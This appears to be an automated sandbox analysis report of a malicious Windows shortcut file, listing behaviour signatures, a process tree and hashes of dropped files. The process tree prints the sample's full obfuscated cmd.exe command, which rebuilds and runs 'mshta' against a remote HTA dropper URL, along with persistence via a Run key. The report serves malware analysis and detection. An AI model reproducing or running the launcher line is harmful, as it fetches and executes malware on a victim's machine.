Analysis

  • max time kernel
    299s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 17:34

General

  • Target
    DOC-0LC245.lnk
  • Size 2KB
  • Sample260623-v5xpaaey7s
  • SHA256 22f07c6ea64dd640ff062126ae40199ec225c59077eebc06b053b81361f1937a
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://geo-pdffiller.lat/h/estagio1.php?r=331061

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 32 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-0LC245.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1316
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set IcFx=netihgmxndusoifuqnjqpnet&&set zYvho=sysuhdjsdipsys&&set MEf=winnepvqraeybcosipgswin&&set rggRi=bakpnapiwlcbxlkbak&&set nlTF=datqigojxcwuyitshhdat&&set vaMn=cfghupmtkcfg&&set Ts=tmf&&set GEv=5z0shr&&set wQ=ztasdy&&set Mb=tmplewalseiajmtmp&&set HT=oldzmeegfikgtrbnaotetcsold&&set IiTuw=winjzmmegwin&&set kkkvg=k7sdf&&set OL=t9tartbz&&set xrQx=bakmxjnsrzsrhfhvpaherchrmabak&&set cQLIW=dbgyhnwfykfttdbg&&set Tbg=sysypnbjukvfrkbptjyatsys&&set Ev=htt@p@s://ge@o@-pd@ff@ill@e@r@.@la@t@/@h@/@e@s@ta@gi@o1.@php@?r=@3@31061&&start /b !Ts:~1,1!!GEv:~3,2!!wQ:~1,2! !Ev:@=!&&set yY=done"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2680
      • C:\Windows\System32\mshta.exe
        mshta https://geo-pdffiller.lat/h/estagio1.php?r=331061
        3⤵
        • Badlisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:1972
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:1876
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:2600
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4540
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:2104
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4136
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:5524
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:3076
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:5444
        • C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc.exe
          "C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc.exe" "C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          PID:2420
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4808
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:3260
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
          4⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:1636
          • C:\Windows\System32\PING.EXE
            ping -n 300 -w 1000 127.0.0.1
            5⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:4116
  • C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc.exe
    "C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc.exe" "C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc"
    1⤵
    • Executes dropped EXE
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    PID:4660

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        103621DE9CD5414CC2538780B4B75751

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
        • Size 808B
        • SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
        • MD5 SHA1 SHA512 TLSH

        8B2B9A00839EED1DFDCCC3BFC2F5DF12

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
        • Size 1KB
        • SHA256 71ccd39de69ec147afd8ad4337a36829dcababbf40897250380c7770de551242
        • MD5 SHA1 SHA512 TLSH

        B46811C17859FFB409CF0E904A4AA8F8

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
        • Size 528B
        • SHA256 d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c
        • MD5 SHA1 SHA512 TLSH

        F15827BEC5BABE89C21DCDAE77464BF1

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F15827BEC5BABE89C21DCDAE77464BF1
        • Size 701B
        • SHA256 108dd34232a3088b45534933d0486409616a2bbad94fd8f7ab5991c01ff179b6
        • MD5 SHA1 SHA512 TLSH

        103621DE9CD5414CC2538780B4B75751

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
        • Size 192B
        • SHA256 9b1af140a627bbbd5c438996a010823243df72d9edb4eef54820a4c4214f7e46
        • MD5 SHA1 SHA512 TLSH

        8B2B9A00839EED1DFDCCC3BFC2F5DF12

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
        • Size 174B
        • SHA256 ebc0b2d04bf43135fefb16103ddfff6f439a6d49fc08e81c94f1bd7915bbf439
        • MD5 SHA1 SHA512 TLSH

        B46811C17859FFB409CF0E904A4AA8F8

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
        • Size 170B
        • SHA256 06aec1174303861a9a73e1b284c064e2b4737e12edf31920ac7034c0eeb0530b
        • MD5 SHA1 SHA512 TLSH

        F15827BEC5BABE89C21DCDAE77464BF1

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F15827BEC5BABE89C21DCDAE77464BF1
        • Size 192B
        • SHA256 2448c684fd65f08373a178b8bcb7579f2413b39e132cc191bdf948c93225cbca
        • MD5 SHA1 SHA512 TLSH

        WebView2Loader.dll

        • Path C:\Users\Admin\AppData\Roaming\HWiN\WebView2Loader.dll
        • Size 113KB
        • SHA256 cd2f07e47e98e52472bd744912edc9e9e645b544f5e612e2f38f89b7acb1e064
        • MD5 SHA1 SHA512 SSDEEP TLSH

        gdnqyxnc

        • Path C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc
        • Size 1.9MB
        • SHA256 dcded125ba477b144c43fd6eac3c75555e0c8249ed6f5aaf29628b99cf08a842
        • MD5 SHA1 SHA512 SSDEEP TLSH

        gdnqyxnc.exe

        • Path C:\Users\Admin\AppData\Roaming\HWiN\gdnqyxnc.exe
        • Size 957KB
        • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
        • MD5 SHA1 SHA512 SSDEEP TLSH